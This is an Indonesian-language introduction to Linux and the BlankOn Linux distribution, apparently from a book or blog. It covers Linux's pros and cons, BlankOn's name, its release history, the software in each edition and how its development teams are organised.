Saat ini, banyak sekali terdapat distro-distro Linux yang memiliki segmen pasar, fitur, kelengkapan dan cita rasa yang berbeda. Anda bisa melihat semua distribusi Linux yang ada melalui situs  http://www.distrowatch.com. Distro Linux juga bisa disebut sebagai sistem operasi atau operating system (OS) karena sudah memiliki piranti lunak untuk melakukan operasi pada komputer.
Linux pada awalnya berkembang di lingkungan server, karena Linux sangat handal dalam hal kestabilan sistem. Namun, dengan semakin pesatnya dunia piranti lunak terbuka, Linux kini juga merambah ke dunia desktop. Perkembangan sangat pesat ini tidak lepas dari peran para sukarelawan yang berjasa dalam menyumbangkan ide dan tenaganya untuk mengembangkan Linux.

Kelebihan Linux

Sebagai suatu sistem operasi, Linux secara umum memiliki berbagai kelebihan dan kekurangan daripada sistem operasi lainnya. Berikut adalah kelebihan dari Linux :
  • Linux bisa didapatkan secara bebas tanpa perlu membayar lisensi. Anda juga bisa mengunduh kode sumber Linux jika ingin melihatnya tanpa ada batasan apapun.
  • Linux memiliki koleksi piranti lunak yang sangat lengkap untuk keperluan desktop, laptop dan server. Jika piranti lunak yang tersedia terasa kurang, Anda dapat menambahkannya dengan mudah melalui repository yang tersedia.
  • Linux sangat stabil karena jarang sekali crash maupun hang. Anda juga tidak perlu bahkan tidak pernah melakukan restart jika melakukan konfigurasi sistem.
  • Linux lebih aman terhadap virus, karena selain jumlah virus di Linux sangat sedikit. Linux juga sangat ketat dalam hal pengelolaan keamanan.
  • Perbaikan kutu (bug) atau cacat yang terdapat di Linux sangat cepat, karena Linux dikembangkan secara komunitas dan setiap komunitas bisa memberikan masukan-masukan dan perbaikan untuk kutu atau cacat tersebut
Apapun yang memiliki kelebihan pasti memiliki kekurangan, karena pada hakikatnya apa yang diciptakan oleh manusia tidak akan pernah sempurna. Berikut adalah berbagai kekurangan dari Linux :
  • Linux kurang memiliki dukungan dari produsen piranti keras dalam hal penyediaan piranti lunak pengendali (driver). Hampir semua piranti lunak pengendali yang saat ini ada di Linux merupakan hasil jerih payah komunitas, dan sebagian kecil murni dukungan dari produsen piranti keras.
  • Linux masih kurang didukung oleh beberapa pembuat permainan. Kebanyakan permbuat permainan masih menggunakan sistem operasi Microsoft Windows sebagai platform mereka.

Apa itu BlankOn Linux?

BlankOn Linux merupakan salah satu distro Linux yang berisikan piranti lunak (software) yang dapat digunakan untuk keperluan desktop, laptop, dan workstation.
BlankOn Linux diturunkan dari sebuah distro Linux yang sangat terkenal akan kemudahan pengunaannya, yaitu Ubuntu. Dengan dipadukan oleh berbagai pernak–pernik khas Indonesia, Distro ini sangat cocok digunakan untuk pengguna komputer di Indonesia.
BlankOn Linux dikembangkan oleh Yayasan Penggerak Linux Indonesia (YPLI) bersama Komunitas Ubuntu Indonesia. Pengembangan BlankOn dilakukan secara terbuka dan gotong royong, sehingga siapa saja bisa turut berkontribusi untuk mengembangkan BlankOn agar menjadi lebih baik. BlankOn Linux juga bisa didapatkan oleh siapa saja tanpa perlu membayar untuk mengunduhnya. Bahkan, Anda bisa mendistribusikannya dan membagi-baginya secara bebas tanpa batas kepada siapa saja.
Tujuan dari pengembangan BlankOn Linux adalah menghasilkan Distro Linux yang sesuai dengan kebutuhan pengguna komputer umum di Indonesia, khususnya untuk kebutuhan pendidikan, perkantoran dan pemerintahan. Tidak seperti Distro Linux lainnya, di dalam CD BlankOn Linux sudah tersedia dukungan dari format multimedia tertutup seperti MP3, DVD, dsb. Selain itu, BlankOn Linux juga ditujukan sebagai alternatif sistem operasi komputer yang saat ini pangsa pasarnya dikuasai oleh sistem operasi Microsoft Windows.
Selain itu, BlankOn juga diharapkan dapat menjadi motor penggerak atau motivator bangsa Indonesia untuk menggunakan dan mengembangkan piranti lunak berlisensi bebas dan terbuka.

Asal nama BlankOn Linux

Nama BlankOn berasal dari nama penutup kepala beberapa suku/budaya yang ada di Indonesia, antara lain suku Jawa, suku Sunda, dan daerah lainnya. Dari asal kata tersebut, BlankOn diharapkan menjadi penutup atau pelindung dari ketergantungan dengan piranti lunak tertutup.
Selain itu, nama BlankOn juga bisa diartikan menjadi Blank (angka biner 0) dan On (angka biner 1). BlankOn diharapkan menjadikan orang yang belum sadar menjadi sadar bahwa Linux bisa dimanfaatkan untuk meningkatkan keterampilan dalam bidang Teknologi Informasi.

Sejarah BlankOn Linux

BlankOn Linux pertama kali dikembangkan oleh YPLI pada tahun 2004 dengan nama kode “Bianglala”. Pada saat itu, BlankOn merupakan turunan dari distro Fedora Core 3. Namun, rilis BlankOn pada saat itu berakhir sampai versi 1.1 dan akhirnya mati suri.
Beberapa tahun kemudian, yaitu pada tahun 2007, pengembangan BlankOn Linux mulai dibangkitkan kembali oleh YPLI. BlankOn Linux yang sebelumnya diturunkan dari Fedora Core kini diganti menjadi Ubuntu. BlankOn Linux direncanakan akan dirilis sesuai dengan siklus rilis Ubuntu, yaitu setiap 6 bulan sekali atau 2 kali setahun. Setiap rilis BlankOn Linux akan diberi tema dan ciri khas yang berbeda sesuai dengan budaya yang ada di Indonesia.
Akhirnya, pada akhir tahun 2007, BlankOn Linux versi 2.0 dirilis dengan nama kode “Konde”. Versi ini diturunkan dari Ubuntu versi 7.10. Kemudian, pada pertengahan tahun 2008, BlankOn Linux versi 3.0 dirilis dengan nama kode “Lontara”. Versi yang berbasis Ubuntu 8.04 LTS ini menggunakan tema khas Sulawesi Selatan, terlihat dari pengunaan karya seni Kapal Pinisi pada gambar latar belakangnya. Anda juga dapat menulis aksara Lontara' yang merupakan aksara khas suku Bugis.
Pada bulan November 2008, BlankOn Linux 4.0 dirilis dengan nama kode “Meuligoe”. Ciri khas yang digunakan pada versi ini adalah Aceh, dengan warna dominan hijau. Pada rilis ini, Logo BlankOn diganti sehingga lebih modern. Versi ini dibuat berbasis Ubuntu versi 8.10. Rilis terakhir pada saat buku ini ditulis adalah BlankOn Linux 5.0, dengan nama kode “Nanggar”. Versi ini berbasis Ubuntu 9.04.

Fitur dari BlankOn Linux 5.0

BlankOn Linux 5.0 berisikan berbagai piranti lunak bebas dan terbuka untuk keperluan desktop, laptop dan workstation. Piranti lunak yang tersedia juga bisa ditambah dengan piranti lunak lainnya agar sesuai dengan keperluan.
Secara umum, fitur-fitur dari BlankOn versi 5.0 adalah sebagai berikut :
  • Diturunkan dari Ubuntu 9.04 dengan nama kode “Jaunty Jackalope” yang terkenal sangat mudah digunakan dan banyak tersedia pilihan software,
  • Menggunakan kernel Linux versi 2.6.28 yang sangat stabil dengan dukungan piranti keras yang sangat banyak,
  • Piranti lunak untuk keperluan Anda berkomputer, seperti keperluan perkantoran, grafis, internet, multimedia, dsb. Anda juga masih bisa menambah piranti lunak lainnya yang tersedia melalui repository Ubuntu,
  • Interface atau antarmuka menggunakan Bahasa Indonesia, sehingga bisa lebih dimengerti oleh orang awam,
  • Sudah menyertakan dukungan format multimedia yang lengkap, seperti untuk memutar mp3, DVD, dan format lainnya,
  • Menggunakan tema dan tampilan grafis khas Indonesia.
Secara umum BlankOn Linux terbagi menjadi dua edisi, yaitu edisi Regular dan edisi Minimalis.
Yang membedakan kedua
edisi ini adalah kebutuhan sistem serta piranti lunak yang disertakan. Edisi Reguler diperuntukkan untuk komputer-komputer terbaru dengan kebutuhan spesifikasi sistem yang tinggi, sedangkan edisi Minimalis diperuntukkan bagi komputer lama sekelas Pentium III dengan ukuran RAM minimal 128 MB. Berikut adalah rincian piranti lunak yang digunakan pada BlankOn Linux edisi Reguler dan Minimalis :
Edisi Reguler :

  • Desktop berkonteks, di mana layar komputer akan berubah sejalan dengan perubahan konteks di luar komputer. Saat ini hanya konteks waktu dan konteks cuaca yang dapat merubah tampilan komputer. Artinya tampilan di pagi hari akan berbeda dengan di malam hari, juga demikian misalnya bila di luar sedang terang benderang atau sedang hujan disertai petir maka BlankOn akan menyesuaikan. Fitur ini hanya terdapat di BlankOn dan tidak tersedia di distro Ubuntu.
  • GNOME versi 2.26 sebagai lingkungan desktop atau desktop environment yang sangat sederhana, kaya fitur dan mudah digunakan,
  • OpenOffice?.org 3.0.1 untuk keperluan perkantoran yang sangat mirip dan kompatibel dengan Microsoft Office,
  • GIMP 2.6.6 dan Inkscape 0.46 untuk kebutuhan grafis,
  • Peramban web Firefox 3 untuk mengakses situs Internet,
  • Aplikasi surat elektronik Evolution,
  • dan berbagai piranti lunak lainnya.
Edisi Minimalis :

  • LXDE sebagai lingkungan desktop yang sangat sederhana dan ringan,
  • Abiword dan Gnumeric untuk aplikasi perkantoran yang sangat ringan,
  • GIMP 2.6.6 dan Inkscape 0.46 untuk keperluan grafis (sama dengan edisi regular),
  • Peramban web Epiphany yang ringan namun bertenaga,
  • Aplikasi surat elektronik Mozilla Thunderbird,
  • Peramban Wikipedia tanpa jaringan Daluang, sehingga Anda bisa mengakses artikel dari Wikipedia tanpa perlu jaringan Internet (masih dalam tahap percobaan),
  • dan berbagai piranti lunak lainnya.

Pengembangan BlankOn Linux

Seperti yang dijelaskan sebelumnya, BlankOn Linux dikembangkan oleh Yayasan Penggerak Linux Indonesia (YPLI) bersama para komunitas pengembang Linux yang tergabung menjadi Tim pengembang BlankOn Linux. Proyek BlankOn Linux terbuka untuk siapa saja yang terlibat dan berperan aktif dalam pengembangan BlankOn Linux ini. Dalam pengembangan proyek BlankOn Linux, pengembang dibagi menjadi beberapa tim antara lain :
  • Tim Infrastruktur
    Tim ini mengelola segala infrastruktur dalam rangka pengembangan BlankOn Linux, seperti situs, forum, mirror, pabrik CD, dsb.
  • Tim Riset dan Aplikasi
    Tim ini mengelola fitur-fitur dan aplikasi khas BlankOn Linux yang tidak ada pada Distro Linux lainnya, serta melakukan riset terhadap fitur tersebut.
  • Tim Rilis
    Tim ini bertanggung jawab untuk memutuskan rilis, apakah rilis tersebut menjadi rilis percobaan atau rilis final.
  • Tim Pemaket
    Tim ini melakukan pemaketan untuk BlankOn Linux yang selanjutnya paket-paket dikirim ke Pabrik CD dan diolah secara otomatis.
  • Tim Kesenian
    Tim ini membuat berbagai hasil karya seni atau artwork untuk BlankOn Linux, seperti latar belakang, tema, suara, splash screen, dll.
  • Tim Bug dan Tester
    Tim ini melakukan testing terhadap setiap rilis dan mengecek adanya cacat atau kutu didalamnya.
  • Tim Dokumentasi
    Tim ini membuat serta mengelola dokumentasi pada BlankOn Linux.
  • Tim Pemasaran
    Tim ini bertanggung jawab untuk melakukan pemasaran terhadap BlankOn Linux kepada masyarakat luas.
Jika Anda berminat untuk menjadi pengembang BlankOn Linux, silahkan membuat akun baru di situs pengembangan BlankOn Linux yaitu  http://dev.blankonlinux.or.id dan bergabung di mailling list pengembang BlankOn Linux di blankon-dev@…. Anda bisa memilih menjadi salah satu dari tim yang disebutkan di atas. Kontribusi dari Anda sangat diperlukan agar BlankOn Linux bisa menjadi lebih baik.
. Read More..